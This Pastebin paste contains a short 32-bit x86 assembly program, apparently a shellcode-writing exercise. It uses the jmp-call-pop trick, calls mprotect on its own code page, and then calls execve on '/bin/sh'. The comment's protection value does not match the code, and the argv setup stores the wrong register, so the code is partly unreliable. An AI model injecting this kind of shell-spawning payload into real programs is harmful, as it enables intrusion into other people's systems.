Guest User

Untitled

a guest
Jul 17th, 2016
289
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.59 KB | None | 0 0
  1. BITS 32
  2.  
  3. section .data
  4. msg db 0,0,0,0
  5.  
  6. section .text
  7. global _start
  8.  
  9. _start:
  10. jmp short two
  11. one:
  12. ; mprotect (_start, 4096, 0x02)
  13. mov eax, 125
  14. mov ebx, _start
  15. and ebx, 0xFFFFF000
  16. mov ecx, 0x1000
  17. mov edx, 0x07
  18. int 0x80
  19.  
  20. ; print errno
  21. mov [msg], eax
  22. mov eax, 4
  23. mov ebx, 1
  24. mov ecx, msg
  25. int 0x80
  26.  
  27. pop ebx
  28. xor eax, eax
  29. mov [ebx + 7], al
  30. mov [ebx + 8], ebp
  31. mov [ebx + 12], eax
  32. lea ecx, [ebx + 8]
  33. lea edx, [ebx + 12]
  34. mov al, 11
  35. int 0x80
  36. ; exit(0)
  37. ;mov al, 1
  38. ;xor ebx, ebx
  39. ;int 0x80
  40. two:
  41. call one
  42. db '/bin/shXAAAABBBB'
Advertisement
Add Comment
Please, Sign In to add comment